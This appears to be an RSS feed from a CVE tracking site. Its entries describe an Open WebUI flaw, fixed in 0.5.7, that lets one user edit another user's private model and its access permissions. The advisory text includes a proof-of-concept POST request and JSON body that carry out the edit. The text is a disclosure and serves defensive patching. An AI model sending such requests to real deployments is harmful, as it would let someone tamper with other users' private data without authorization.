https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 08 Oct 2026 06:13:53 +0000 https://cve.radiocsirt.org/vuln/cve-2026-45345 <p><strong>Affected:</strong> open-webui</p> <p>Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user&#39;s model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7.</p> <p><strong>Affected:</strong> open-webui</p> <p>Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user&#39;s model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7.</p> https://cve.radiocsirt.org/vuln/cve-2026-45345 https://cve.radiocsirt.org/vuln/ghsa-gm54-m39w-grjp <p><strong>Affected:</strong> PyPI: open-webui</p> <p>### Summary A user can modify another user&#39;s model even if its visibility is set to `Private`. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.</p> <p>### Details / PoC The user `Victim` created a private model with the visibility set to `private`: </p> <p>The user `Attacker` can edit this model using the following POST request: ``` POST /api/v1/models/model/update?id=aaabraaa HTTP/2 Host: domain.local //Some headers removed Te: trailers</p> <p>{&#34;id&#34;:&#34;aaabraaa&#34;,&#34;base_model_id&#34;:&#34;gpt-4o-POC&#34;,&#34;name&#34;:&#34;testmodel&#34;,&#34;meta&#34;:{&#34;profile_image_url&#34;:&#34;/static/favicon.png&#34;,&#34;description&#34;:&#34;&#34;,&#34;capabilities&#34;:{&#34;vision&#34;:true,&#34;usage&#34;:false,&#34;citations&#34;:true},&#34;suggestion_prompts&#34;:null,&#34;tags&#34;:[],&#34;toolIds&#34;:[&#34;test&#34;]},&#34;params&#34;:{},&#34;user_id&#34;:&#34;565c82e6-083f-42bb-bf0f-a4e214cfb9ad&#34;,&#34;access_control&#34;:{&#34;read&#34;:{&#34;group_ids&#34;:[],&#34;user_ids&#34;:[]},&#34;write&#34;:{&#34;group_ids&#34;:[],&#34;user_ids&#34;:[]}},&#34;is_active&#34;:true,&#34;updated_at&#34;:1737314575,&#34;created_at&#34;:1737121281} ``` Request / Response </p> <p>### Impact A user can modify another user&#39;s model even if its visibility is set to `Private`. By changing the access permissions during editing, unauthorized access can be gained.</p> <p><strong>Affected:</strong> PyPI: open-webui</p> <p>### Summary A user can modify another user&#39;s model even if its visibility is set to `Private`. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.</p> <p>### Details / PoC The user `Victim` created a private model with the visibility set to `private`: </p> <p>The user `Attacker` can edit this model using the following POST request: ``` POST /api/v1/models/model/update?id=aaabraaa HTTP/2 Host: domain.local //Some headers removed Te: trailers</p> <p>{&#34;id&#34;:&#34;aaabraaa&#34;,&#34;base_model_id&#34;:&#34;gpt-4o-POC&#34;,&#34;name&#34;:&#34;testmodel&#34;,&#34;meta&#34;:{&#34;profile_image_url&#34;:&#34;/static/favicon.png&#34;,&#34;description&#34;:&#34;&#34;,&#34;capabilities&#34;:{&#34;vision&#34;:true,&#34;usage&#34;:false,&#34;citations&#34;:true},&#34;suggestion_prompts&#34;:null,&#34;tags&#34;:[],&#34;toolIds&#34;:[&#34;test&#34;]},&#34;params&#34;:{},&#34;user_id&#34;:&#34;565c82e6-083f-42bb-bf0f-a4e214cfb9ad&#34;,&#34;access_control&#34;:{&#34;read&#34;:{&#34;group_ids&#34;:[],&#34;user_ids&#34;:[]},&#34;write&#34;:{&#34;group_ids&#34;:[],&#34;user_ids&#34;:[]}},&#34;is_active&#34;:true,&#34;updated_at&#34;:1737314575,&#34;created_at&#34;:1737121281} ``` Request / Response </p> <p>### Impact A user can modify another user&#39;s model even if its visibility is set to `Private`. By changing the access permissions during editing, unauthorized access can be gained.</p> https://cve.radiocsirt.org/vuln/ghsa-gm54-m39w-grjp